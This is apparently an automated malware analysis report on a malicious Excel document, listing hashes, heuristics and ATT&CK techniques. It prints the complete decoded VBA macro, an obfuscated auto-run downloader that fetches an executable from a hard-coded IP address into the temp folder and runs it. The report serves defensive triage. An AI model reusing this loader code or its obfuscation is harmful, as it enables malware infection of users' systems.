Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2fe1046682524ec…

MALICIOUS

Office (OLE)

47.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-04
MD5: af897e492a6d2b636dd51217efc3464e SHA-1: cbe495b937bfaaba9b11f57ec9112b18c04a6b2d SHA-256: b2fe1046682524eceb6eab4f99dcdd652d6777300eb3d2c161fc082df3c52d1f
194 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates an obfuscated auto-exec VBA loader that uses CreateObject and Shell/exec functions. The presence of AutoOpen, Auto_Open, and Workbook_Open subroutines further confirms the intent to execute malicious code upon opening the document. The VBA code itself is heavily obfuscated with loops and meaningless variable names, making it difficult to determine the exact payload, but the overall pattern suggests it is designed to download and execute a second-stage payload.

Heuristics 9

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set XBPRTLRBYRM = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XBPRTLRBYRM = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        NMVBUIMOQXM HexToString("687474703A2F2F352E392E3235332E3138332F73737461742F6C6C6476732E706870"), Environ(HexToString("54454D50")) & HexToString("5C56314D5559585759534658512E657865")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14718 bytes
SHA-256: 0ad5cee878a82edeffee0954ae747d5f269c7893602308b7cfb7da7dd118881b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
102 of 160 identifiers look randomly generated (e.g. 'ScwEIFmNvoXE74') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Auto_Open()

Dim gqCuUkiV As Integer

Dim lsuCrnld As Integer
lsuCrnld = 2
Do While lsuCrnld < 83
DoEvents: lsuCrnld = lsuCrnld + 1
Loop

gqCuUkiV = 3
Do While gqCuUkiV < 45

Dim cDpQXxyx As Integer
cDpQXxyx = 2
Do While cDpQXxyx < 98
DoEvents: cDpQXxyx = cDpQXxyx + 1
Loop

DoEvents: gqCuUkiV = gqCuUkiV + 1

Dim MtpDGLPL As Integer
MtpDGLPL = 9
Do While MtpDGLPL < 94
DoEvents: MtpDGLPL = MtpDGLPL + 1
Loop

Loop


Dim zfXFCQdV As Integer
zfXFCQdV = 1
Do While zfXFCQdV < 16
DoEvents: zfXFCQdV = zfXFCQdV + 1
Loop

CPBNVGANNHK
End Sub
Sub AutoOpen()

Dim JWKAuHVJ As Integer

Dim TLpPBqNy As Integer
TLpPBqNy = 6
Do While TLpPBqNy < 34
DoEvents: TLpPBqNy = TLpPBqNy + 1
Loop

JWKAuHVJ = 6
Do While JWKAuHVJ < 39

Dim uTWKOOKK As Integer
uTWKOOKK = 2
Do While uTWKOOKK < 81
DoEvents: uTWKOOKK = uTWKOOKK + 1
Loop

DoEvents: JWKAuHVJ = JWKAuHVJ + 1

Dim OlxSTuQx As Integer
OlxSTuQx = 4
Do While OlxSTuQx < 77
DoEvents: OlxSTuQx = OlxSTuQx + 1
Loop

Loop


Dim cPbAlAOd As Integer
cPbAlAOd = 3
Do While cPbAlAOd < 59
DoEvents: cPbAlAOd = cPbAlAOd + 1
Loop

    Auto_Open
End Sub
Sub Workbook_Open()

Dim nKyxquln As Integer

Dim JAglypFR As Integer
JAglypFR = 6
Do While JAglypFR < 36
DoEvents: JAglypFR = JAglypFR + 1
Loop

nKyxquln = 3
Do While nKyxquln < 37

Dim tKJqdCoR As Integer
tKJqdCoR = 8
Do While tKJqdCoR < 59
DoEvents: tKJqdCoR = tKJqdCoR + 1
Loop

DoEvents: nKyxquln = nKyxquln + 1

Dim xJLzWRll As Integer
xJLzWRll = 2
Do While xJLzWRll < 37
DoEvents: xJLzWRll = xJLzWRll + 1
Loop

Loop


Dim qoMWwOqE As Integer
qoMWwOqE = 9
Do While qoMWwOqE < 11
DoEvents: qoMWwOqE = qoMWwOqE + 1
Loop

    Auto_Open
End Sub

Sub CPBNVGANNHK()

Dim uyMlFAVw As Integer

Dim quryTDim As Integer
quryTDim = 9
Do While quryTDim < 34
DoEvents: quryTDim = quryTDim + 1
Loop

uyMlFAVw = 9
Do While uyMlFAVw < 24

Dim secYiDtO As Integer
secYiDtO = 3
Do While secYiDtO < 34
DoEvents: secYiDtO = secYiDtO + 1
Loop

DoEvents: uyMlFAVw = uyMlFAVw + 1

Dim EzbcHwhc As Integer
EzbcHwhc = 3
Do While EzbcHwhc < 12
DoEvents: EzbcHwhc = EzbcHwhc + 1
Loop

Loop


Dim nkoQrbcJ As Integer
nkoQrbcJ = 3
Do While nkoQrbcJ < 94
DoEvents: nkoQrbcJ = nkoQrbcJ + 1
Loop

    NMVBUIMOQXM HexToString("687474703A2F2F352E392E3235332E3138332F73737461742F6C6C6476732E706870"), Environ(HexToString("54454D50")) & HexToString("5C56314D5559585759534658512E657865")
End Sub
Function NMVBUIMOQXM(ByVal UMUFWTFSKCX As String, ByVal RCFFODVWBKD As String) As Boolean
     Dim XBPRTLRBYRM As Object, VVXTBBFVINC As Long, PUTVPTITTWC As Long, QOSQEZUAJDG() As Byte


Dim adtBpluH As Integer

Dim FJVRGkLI As Integer
FJVRGkLI = 5
Do While FJVRGkLI < 82
DoEvents: FJVRGkLI = FJVRGkLI + 1
Loop

adtBpluH = 8
Do While adtBpluH < 54

Dim RVKzrZoy As Integer
RVKzrZoy = 4
Do While RVKzrZoy < 63
DoEvents: RVKzrZoy = RVKzrZoy + 1
Loop

DoEvents: adtBpluH = adtBpluH + 1

Dim jnKBgHOA As Integer
jnKBgHOA = 4
Do While jnKBgHOA < 11
DoEvents: jnKBgHOA = jnKBgHOA + 1
Loop

Loop


Dim nmLBkAHm As Integer
nmLBkAHm = 3
Do While nmLBkAHm < 95
DoEvents: nmLBkAHm = nmLBkAHm + 1
Loop

    Set XBPRTLRBYRM = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
    XBPRTLRBYRM.Open HexToString("474554"), UMUFWTFSKCX, False

Dim hEUHjyAJ As Integer

Dim GUFjaguO As Integer
GUFjaguO = 6
Do While GUFjaguO < 37
DoEvents: GUFjaguO = GUFjaguO + 1
Loop

hEUHjyAJ = 1
Do While hEUHjyAJ < 76

Dim nkiLvSgR As Integer
nkiLvSgR = 3
Do While nkiLvSgR < 94
DoEvents: nkiLvSgR = nkiLvSgR + 1
Loop

DoEvents: hEUHjyAJ = hEUHjyAJ + 1

Dim cIULVJcJ As Integer
cIULVJcJ = 3
Do While cIULVJcJ < 35
DoEvents: cIULVJcJ = cIULVJcJ + 1
Loop

Loop


Dim olBvoNvu As Integer
olBvoNvu = 9
Do While olBvoNvu < 93
DoEvents: olBvoNvu = olBvoNvu + 1
Loop

    XBPRTLRBYRM.Send HexToString("F1")


Dim KhkVaRlE As Integer

Dim yDqRcgqi As Integer
yDqRcgqi = 8
Do While yDqRcgqi < 21
DoEvents: yDqRcgqi = yDqRcgqi + 1
Loop

KhkVaRlE = 6
Do While KhkVaRlE < 34

Dim jcrogyGf As Integer
jcrogyGf = 1
Do While jcrogyGf < 47
DoEvents: jcrogyGf = jcrogyGf + 1
Loop

DoEvents: KhkVaRlE = KhkVaRlE + 1

Dim LsTeqEIK As Integer
LsTeqEIK = 6
Do While LsTeqEIK < 33
DoEvents: LsTeqEIK = LsTeqEIK + 1
Loop

Loop


Dim RCCOxDOo As Integer
RCCOxDOo = 4
Do While RCCOxDOo < 11
DoEvents: RCCOxDOo = RCCOxDOo + 1
Loop

    QOSQEZUAJDG = XBPRTLRBYRM.responseBody


Dim lsqnVCSz As Integer

Dim CKdRsHfq As Integer
CKdRsHfq = 7
Do While CKdRsHfq < 49
DoEvents: CKdRsHfq = CKdRsHfq + 1
Loop

lsqnVCSz = 4
Do While lsqnVCSz < 83

Dim miwMKdJG As Integer
miwMKdJG = 4
Do While miwMKdJG < 83
DoEvents: miwMKdJG = miwMKdJG + 1
Loop

DoEvents: lsqnVCSz = lsqnVCSz + 1

Dim XXCFGQPl As Integer
XXCFGQPl = 7
Do While XXCFGQPl < 78
DoEvents: XXCFGQPl = XXCFGQPl + 1
Loop

Loop


Dim LqYzzHJD As Integer
LqYzzHJD = 6
Do While LqYzzHJD < 95
DoEvents: LqYzzHJD = LqYzzHJD + 1
Loop

    PUTVPTITTWC = FreeFile

    Open RCFFODVWBKD For Binary Access Write As #PUTVPTITTWC

Dim BAGoSklH As Integer

Dim InHhSicL As Integer
InHhSicL = 4
Do While InHhSicL < 16
DoEvents: InHhSicL = InHhSicL + 1
Loop

BAGoSklH = 7
Do While BAGoSklH < 18

Dim WaAvkrns As Integer
WaAvkrns = 7
Do While WaAvkrns < 41
DoEvents: WaAvkrns = WaAvkrns + 1
Loop

DoEvents: BAGoSklH = BAGoSklH + 1

Dim uDqGmMup As Integer
uDqGmMup = 2
Do While uDqGmMup < 21
DoEvents: uDqGmMup = uDqGmMup + 1
Loop

Loop


Dim zszcMLGj As Integer
zszcMLGj = 1
Do While zszcMLGj < 25
DoEvents: zszcMLGj = zszcMLGj + 1
Loop

    Put #PUTVPTITTWC, , QOSQEZUAJDG

Dim XLgpsxne As Integer

Dim xKSOdPID As Integer
xKSOdPID = 5
Do While xKSOdPID < 89
DoEvents: xKSOdPID = xKSOdPID + 1
Loop

XLgpsxne = 9
Do While XLgpsxne < 64

Dim GPlrewtF As Integer
GPlrewtF = 8
Do While GPlrewtF < 52
DoEvents: GPlrewtF = GPlrewtF + 1
Loop

DoEvents: XLgpsxne = XLgpsxne + 1

Dim ErsOGbCK As Integer
ErsOGbCK = 3
Do While ErsOGbCK < 64
DoEvents: ErsOGbCK = ErsOGbCK + 1
Loop

Loop


Dim BZEjWuoG As Integer
BZEjWuoG = 7
Do While BZEjWuoG < 18
DoEvents: BZEjWuoG = BZEjWuoG + 1
Loop

    Close #PUTVPTITTWC

Dim fKkNLrSJ As Integer

Dim alcPOzFV As Integer
alcPOzFV = 7
Do While alcPOzFV < 55
DoEvents: alcPOzFV = alcPOzFV + 1
Loop

fKkNLrSJ = 1
Do While fKkNLrSJ < 32

Dim ocYaqCEo As Integer
ocYaqCEo = 9
Do While ocYaqCEo < 65
DoEvents: ocYaqCEo = ocYaqCEo + 1
Loop

DoEvents: fKkNLrSJ = fKkNLrSJ + 1

Dim OmjdTRty As Integer
OmjdTRty = 7
Do While OmjdTRty < 77
DoEvents: OmjdTRty = OmjdTRty + 1
Loop

Loop


Dim JvbEubMj As Integer
JvbEubMj = 8
Do While JvbEubMj < 97
DoEvents: JvbEubMj = JvbEubMj + 1
Loop

    

Dim qpJaloWr As Integer

Dim XLoMivJF As Integer
XLoMivJF = 9
Do While XLoMivJF < 49
DoEvents: XLoMivJF = XLoMivJF + 1
Loop

qpJaloWr = 3
Do While qpJaloWr < 97

Dim NnGlYlkJ As Integer
NnGlYlkJ = 1
Do While NnGlYlkJ < 71
DoEvents: NnGlYlkJ = NnGlYlkJ + 1
Loop

DoEvents: qpJaloWr = qpJaloWr + 1

Dim NvBYmlhV As Integer
NvBYmlhV = 7
Do While NvBYmlhV < 17
DoEvents: NvBYmlhV = NvBYmlhV + 1
Loop

Loop


Dim etUayACY As Integer
etUayACY = 8
Do While etUayACY < 24
DoEvents: etUayACY = etUayACY + 1
Loop

Set fdfgdfeer4gf = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
fdfgdfeer4gf.Open Environ(HexToString("54454D50")) & HexToString("5C56314D5559585759534658512E657865")
End Function
Public Sub XrDSlRPQjmOF31()
Dim JBVUWOcDibEM28 As Integer
For JBVUWOcDibEM28 = 8 To lm

Dim DCcAUJgQ As Integer

Dim knQJEAMV As Integer
knQJEAMV = 4
Do While knQJEAMV < 48
DoEvents: knQJEAMV = knQJEAMV + 1
Loop

DCcAUJgQ = 5
Do While DCcAUJgQ < 21

Dim AmSSLAuw As Integer
AmSSLAuw = 3
Do While AmSSLAuw < 33
DoEvents: AmSSLAuw = AmSSLAuw + 1
Loop

DoEvents: DCcAUJgQ = DCcAUJgQ + 1

Dim PjZvidgu As Integer
PjZvidgu = 7
Do While PjZvidgu < 24
DoEvents: PjZvidgu = PjZvidgu + 1
Loop

Loop


Dim bZzZgOve As Integer
bZzZgOve = 5
Do While bZzZgOve < 21
DoEvents: bZzZgOve = bZzZgOve + 1
Loop

DoEvents
Next JBVUWOcDibEM28
Dim BwKLvAzXEOvp65 As String

Dim fHnklqYk As Integer

Dim CHlfylKZ As Integer
CHlfylKZ = 7
Do While CHlfylKZ < 11
DoEvents: CHlfylKZ = CHlfylKZ + 1
Loop

fHnklqYk = 1
Do While fHnklqYk < 17

Dim ZfklSPfe As Integer
ZfklSPfe = 6
Do While ZfklSPfe < 65
DoEvents: ZfklSPfe = ZfklSPfe + 1
Loop

DoEvents: fHnklqYk = fHnklqYk + 1

Dim spIeUeBE As Integer
spIeUeBE = 9
Do While spIeUeBE < 63
DoEvents: spIeUeBE = spIeUeBE + 1
Loop

Loop


Dim HIZmZABh As Integer
HIZmZABh = 6
Do While HIZmZABh < 37
DoEvents: HIZmZABh = HIZmZABh + 1
Loop

BwKLvAzXEOvp65 = HexToString("5A6C4A5045435465544455483333")
End Sub

Public Sub zWdDgvHwxXru11()
Dim fXNnXdpUUNbf39 As Integer
For fXNnXdpUUNbf39 = 3 To ou

Dim rBhoqTvQ As Integer

Dim raVHxxYl As Integer
raVHxxYl = 1
Do While raVHxxYl < 85
DoEvents: raVHxxYl = raVHxxYl + 1
Loop

rBhoqTvQ = 8
Do While rBhoqTvQ < 23

Dim OvCKgeob As Integer
OvCKgeob = 7
Do While OvCKgeob < 49
DoEvents: OvCKgeob = OvCKgeob + 1
Loop

DoEvents: rBhoqTvQ = rBhoqTvQ + 1

Dim iTGvWTso As Integer
iTGvWTso = 9
Do While iTGvWTso < 39
DoEvents: iTGvWTso = iTGvWTso + 1
Loop

Loop


Dim vITfVqpV As Integer
vITfVqpV = 5
Do While vITfVqpV < 59
DoEvents: vITfVqpV = vITfVqpV + 1
Loop

DoEvents
Next fXNnXdpUUNbf39
Dim ScwEIFmNvoXE74 As String

Dim fJbwekZQ As Integer

Dim GHJvTmol As Integer
GHJvTmol = 5
Do While GHJvTmol < 39
DoEvents: GHJvTmol = GHJvTmol + 1
Loop

fJbwekZQ = 1
Do While fJbwekZQ < 79

Dim GJFPFlLA As Integer
GJFPFlLA = 8
Do While GJFPFlLA < 39
DoEvents: GJFPFlLA = GJFPFlLA + 1
Loop

DoEvents: fJbwekZQ = fJbwekZQ + 1

Dim FVuhaZna As Integer
FVuhaZna = 5
Do While FVuhaZna < 68
DoEvents: FVuhaZna = FVuhaZna + 1
Loop

Loop


Dim bEWqYFDc As Integer
bEWqYFDc = 3
Do While bEWqYFDc < 68
DoEvents: bEWqYFDc = bEWqYFDc + 1
Loop

ScwEIFmNvoXE74 = HexToString("6C7946576869755268686E693733")
End Sub

Public Sub uSSGolCuAcvb57()
Dim wcLzmtvGZRjR83 As Integer
For wcLzmtvGZRjR83 = 1 To BL

Dim vAflvlOD As Integer

Dim xXlhXoSu As Integer
xXlhXoSu = 5
Do While xXlhXoSu < 52
DoEvents: xXlhXoSu = xXlhXoSu + 1
Loop

vAflvlOD = 3
Do While vAflvlOD < 96

Dim VDUidRkS As Integer
VDUidRkS = 9
Do While VDUidRkS < 11
DoEvents: VDUidRkS = VDUidRkS + 1
Loop

DoEvents: vAflvlOD = vAflvlOD + 1

Dim objchmCP As Integer
objchmCP = 9
Do While objchmCP < 66
DoEvents: objchmCP = objchmCP + 1
Loop

Loop


Dim wtTkAfFC As Integer
wtTkAfFC = 4
Do While wtTkAfFC < 82
DoEvents: wtTkAfFC = wtTkAfFC + 1
Loop

DoEvents
Next wcLzmtvGZRjR83
Dim qrJXfhhkFSgW82 As String

Dim FHBxltzW As Integer

Dim LmUkilRf As Integer
LmUkilRf = 6
Do While LmUkilRf < 97
DoEvents: LmUkilRf = LmUkilRf + 1
Loop

FHBxltzW = 5
Do While FHBxltzW < 67

Dim msXpvFqL As Integer
msXpvFqL = 2
Do While msXpvFqL < 55
DoEvents: msXpvFqL = msXpvFqL + 1
Loop

DoEvents: FHBxltzW = FHBxltzW + 1

Dim yVyvislU As Integer
yVyvislU = 8
Do While yVyvislU < 51
DoEvents: yVyvislU = yVyvislU + 1
Loop

Loop


Dim llsaMXAn As Integer
llsaMXAn = 2
Do While llsaMXAn < 85
DoEvents: llsaMXAn = llsaMXAn + 1
Loop

qrJXfhhkFSgW82 = HexToString("694A5179656C55794E4B6D6E3838")
End Sub

Public Function HexToString(ByVal KzTJAOZHHuhIf As String) As String
Dim FnEquTIF As String
Dim ROmHgmiuxL As String
Dim jsCxaq As Long
For jsCxaq = 1 To Len(KzTJAOZHHuhIf) Step 2

Dim PjAQXjGx As Integer

Dim amsMYQso As Integer
amsMYQso = 8
Do While amsMYQso < 17
DoEvents: amsMYQso = amsMYQso + 1
Loop

PjAQXjGx = 7
Do While PjAQXjGx < 48

Dim JAykMWAY As Integer
JAykMWAY = 6
Do While JAykMWAY < 98
DoEvents: JAykMWAY = JAykMWAY + 1
Loop

DoEvents: PjAQXjGx = PjAQXjGx + 1

Dim yMvWdUCb As Integer
yMvWdUCb = 2
Do While yMvWdUCb < 84
DoEvents: yMvWdUCb = yMvWdUCb + 1
Loop

Loop


Dim pxAOtEPO As Integer
pxAOtEPO = 9
Do While pxAOtEPO < 65
DoEvents: pxAOtEPO = pxAOtEPO + 1
Loop

FnEquTIF = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(KzTJAOZHHuhIf, jsCxaq, 2)))

Dim dteTLFIz As Integer

Dim NARmiFCg As Integer
NARmiFCg = 1
Do While NARmiFCg < 18
DoEvents: NARmiFCg = NARmiFCg + 1
Loop

dteTLFIz = 1
Do While dteTLFIz < 34

Dim GKUpWoWt As Integer
GKUpWoWt = 8
Do While GKUpWoWt < 82
DoEvents: GKUpWoWt = GKUpWoWt + 1
Loop

DoEvents: dteTLFIz = dteTLFIz + 1

Dim jYorJYFO As Integer
jYorJYFO = 1
Do While jYorJYFO < 77
DoEvents: jYorJYFO = jYorJYFO + 1
Loop

Loop


Dim TCQWVloO As Integer
TCQWVloO = 6
Do While TCQWVloO < 11
DoEvents: TCQWVloO = TCQWVloO + 1
Loop

ROmHgmiuxL = ROmHgmiuxL & FnEquTIF
Next jsCxaq

Dim GJDDEdnF As Integer

Dim oRHEsKCP As Integer
oRHEsKCP = 2
Do While oRHEsKCP < 81
DoEvents: oRHEsKCP = oRHEsKCP + 1
Loop

GJDDEdnF = 8
Do While GJDDEdnF < 82

Dim CXJcSCFX As Integer
CXJcSCFX = 9
Do While CXJcSCFX < 64
DoEvents: CXJcSCFX = CXJcSCFX + 1
Loop

DoEvents: GJDDEdnF = GJDDEdnF + 1

Dim qgpatOpG As Integer
qgpatOpG = 9
Do While qgpatOpG < 36
DoEvents: qgpatOpG = qgpatOpG + 1
Loop

Loop


Dim sqEAUOur As Integer
sqEAUOur = 3
Do While sqEAUOur < 35
DoEvents: sqEAUOur = sqEAUOur + 1
Loop

HexToString = ROmHgmiuxL
End Function







Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.